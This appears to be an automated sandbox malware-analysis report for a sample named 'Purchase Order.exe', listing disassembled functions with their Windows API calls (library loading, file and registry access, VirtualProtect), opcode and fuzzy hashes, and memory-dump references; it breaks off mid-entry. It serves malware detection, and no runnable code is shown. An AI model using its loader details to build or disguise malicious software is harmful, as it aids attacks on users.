Opcode ID: 17699a1f730cc25233c13bc64813f1e04f0aaa057b5d2da36e90e35cf9de59ca
Instruction ID: 1fba713723e617fd63a9d4476e2d2033a2576266d828a69d52802257caf8ad67
Opcode Fuzzy Hash: 17699a1f730cc25233c13bc64813f1e04f0aaa057b5d2da36e90e35cf9de59ca
Instruction Fuzzy Hash: 42E086B6B00115BBCB24DF64EE9087E77B6E784320750043FD502B3290C2B69D429B58

Function 00406290 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

Part of subcall function 00406222: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
Part of subcall function 00406222: wsprintfA.USER32 ref: 00406272
Part of subcall function 00406222: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406286

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 3d400e748f947671e30b9badb510484ff95b6787d133025eb2c4a7967b05848e
Instruction ID: 9986063a3a3a914c3c9c85809e338cef1f66889ba2e3f6f8a6abe9a53671474f
Opcode Fuzzy Hash: 3d400e748f947671e30b9badb510484ff95b6787d133025eb2c4a7967b05848e
Instruction Fuzzy Hash: BAE0CD32A08111B7D650B7705D0497773AC9FC475030208BEF907F2185E738EC319769

Function 00405B6A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\Purchase Order.exe,80000000,00000003), ref: 00405B6E
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4a69860c6089f1fb7fd455c1891d9cc54c05e48a968a67635bcc5e625bd0c43f
Instruction ID: 2e597581bf20324382b204af2e2b9293bc3b27f4d9e8cb915424ec39c2be7a6e
Opcode Fuzzy Hash: 4a69860c6089f1fb7fd455c1891d9cc54c05e48a968a67635bcc5e625bd0c43f
Instruction Fuzzy Hash: A7D09E31658201EFFF098F20DD16F2EBBA2EB84B00F10962CBA92941E0D6755815DB26

Function 00405B45 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,0040575D,?,?,00000000,00405940,?,?,?,?), ref: 00405B4A
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405B5E

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction ID: 899457fb2a373ec916eabf998b05f3716e4ca5246c779d0db29ba2cd27af7bf6
Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction Fuzzy Hash: E2D01272908521AFC6102738ED0C89BBF65EB543717058B31FDB9E22F0D7345C528AA9

Function 00405653 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004032B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 00405659
GetLastError.KERNEL32 ref: 00405667

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 0da22567c4b446b4f42a21ca14333010da7ca755278e2de90fea66cf95c641d8
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: 80C04C30A19502DAD7105B31DD08F177E60EB50741F548935A10AE11F0D6769451DD3F

Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: ba0784285b27e5103b764f78ef6fb10791d77067d667a4e03e7b1a8b22abeba3
Instruction ID: c506eed3d8509f523d62ce86bbd7ec2d7c700efff23c78fc82727488f7f797df
Opcode Fuzzy Hash: ba0784285b27e5103b764f78ef6fb10791d77067d667a4e03e7b1a8b22abeba3
Instruction Fuzzy Hash: 5A21F970D0429ABADF218FA885486AEBF749F01314F1445BFE890B63D1C1BE8A81CF59

Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00401685

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 6a883f9504f5c2888ca71b0d8159a7984c3ca00eae0cacb2c6aae2654bc04831
Instruction ID: 5898f67605d89fe4fb30f7e570565f9f0960a3a70fe6e37fe1d860f2248c6c53
Opcode Fuzzy Hash: 6a883f9504f5c2888ca71b0d8159a7984c3ca00eae0cacb2c6aae2654bc04831
Instruction Fuzzy Hash: 2AF09635B08115A6DB20A7A54F0DD5F15649B81364B34423BF151B21D1DABD860295AF

Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 6b5e48cc008279052f1a47b51cc32cf127a00dc2733201354761e156b3ebbbdf
Instruction ID: 5f6267e841dd840bf6295cbe1617e7a0042591bb1814ca2e8a4844537e2a2c78
Opcode Fuzzy Hash: 6b5e48cc008279052f1a47b51cc32cf127a00dc2733201354761e156b3ebbbdf
Instruction Fuzzy Hash: 67E04F31B001246BD7307AB10F8E97F10999BC4304B39153ABA01B62C6EDBC4C414AB9

Function 00405C11 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,0040F5D9,0040A8D8,004031F8,0040A8D8,0040F5D9,004128D8,00004000,?,00000000,00403022,00000004), ref: 00405C25

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: a68fbbb5dd244fa7f7e93bb3aa8c49248ed304819acaaafe9587b6e0b9a7c414
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 59E0EC3261835EAFEF209E659C00AEB7B6CEB05361F048836FD15E2150D271E8219BA9

Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,000004B9,00000000,00000022,00000000,?,?), ref: 00402C00

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction ID: e7f2061ded5818062db825bc0413707355dbbb7a887edde82a058a89c260750b
Opcode Fuzzy Hash: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction Fuzzy Hash: 5EE046B6250108BADB00EFA4EE4AFA537ECAB44700F008021B608E60A1C678E6108B79

Function 00405BE2 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,004128D8,0040A8D8,00403274,00409130,00409130,00403178,004128D8,00004000,?,00000000,00403022), ref: 00405BF6

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: ffd4dfc917ffc97e7d907f9c2c90699c203f3b0ebfd4578ed28d6b2a376640fe
Instruction ID: ff987474db4941a2a63fe891919fb2946ba1e32a0df937fa27738628adbeee07
Opcode Fuzzy Hash: ffd4dfc917ffc97e7d907f9c2c90699c203f3b0ebfd4578ed28d6b2a376640fe
Instruction Fuzzy Hash: 5EE0EC3261835AABEF509E559C04EEB7B6CFB05360F045432FD15E2190D275E8219BA5

Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19

Function 00402336 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402369

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 90e07bb3a0b3f4804eab7f86ac5a4e71b50077df0b3d61eb17d11243db03f5ce
Instruction ID: 863d308e192ce4c0f66b0ae01519e0470cfafd3cecd099ef988cf845eccf6abb
Opcode Fuzzy Hash: 90e07bb3a0b3f4804eab7f86ac5a4e71b50077df0b3d61eb17d11243db03f5ce
Instruction Fuzzy Hash: D1E08630A04208BADB10AFA08F09EAD3A79AF41710F24003AF9507B0D1EAB84481DB2D

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 96c910dea8fbf951c2b9a4b5f3b3c3063cfa5e5189f353d5a1020b82a892de8f
Instruction ID: bac0d5995861a33a007bf1aced2086678d13136d77447ce7e9e78d56ca3cc0cd
Opcode Fuzzy Hash: 96c910dea8fbf951c2b9a4b5f3b3c3063cfa5e5189f353d5a1020b82a892de8f
Instruction Fuzzy Hash: DCD05BB2704115EBCB10DFE5EB0869D77B0DB40365F304137D151F21D0D2BADA559759

Function 00404128 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010436,00000000,00000000,00000000), ref: 0040413A

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 50a7dacb6371fe0cd67611078dbaf3ccf85a23f01bbb2752a0812b92d5b89748
Instruction ID: 75e74fd11ebe5bc6c3f22cf38e5f61c8940f983f04da59faa373adfcae7f6129
Opcode Fuzzy Hash: 50a7dacb6371fe0cd67611078dbaf3ccf85a23f01bbb2752a0812b92d5b89748
Instruction Fuzzy Hash: 82C04C717442017AEA218B519D49F0677586794700F6544257320A60D0C6B4E450E62D

Function 00403277 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F75,?), ref: 00403285

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00404111 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3d364c0f7cae05b6249e8bcc12743ca4c2e9a63f4273028bf1a1c1708aea3851
Instruction ID: a78b9239c319e9cb66b61a8ea9955aebbc10e43728856a3b978814f56e37e297
Opcode Fuzzy Hash: 3d364c0f7cae05b6249e8bcc12743ca4c2e9a63f4273028bf1a1c1708aea3851
Instruction Fuzzy Hash: 19B092B6684200BAEE228B00DD09F457AB2E7A8742F008024B200240B0CAB200A1DB19

Function 004040FE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403EDB), ref: 00404108

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 14a97dc87043aa2e894c667cdbf79e2d841fd90f9686f850a1099e45bc3f86c8
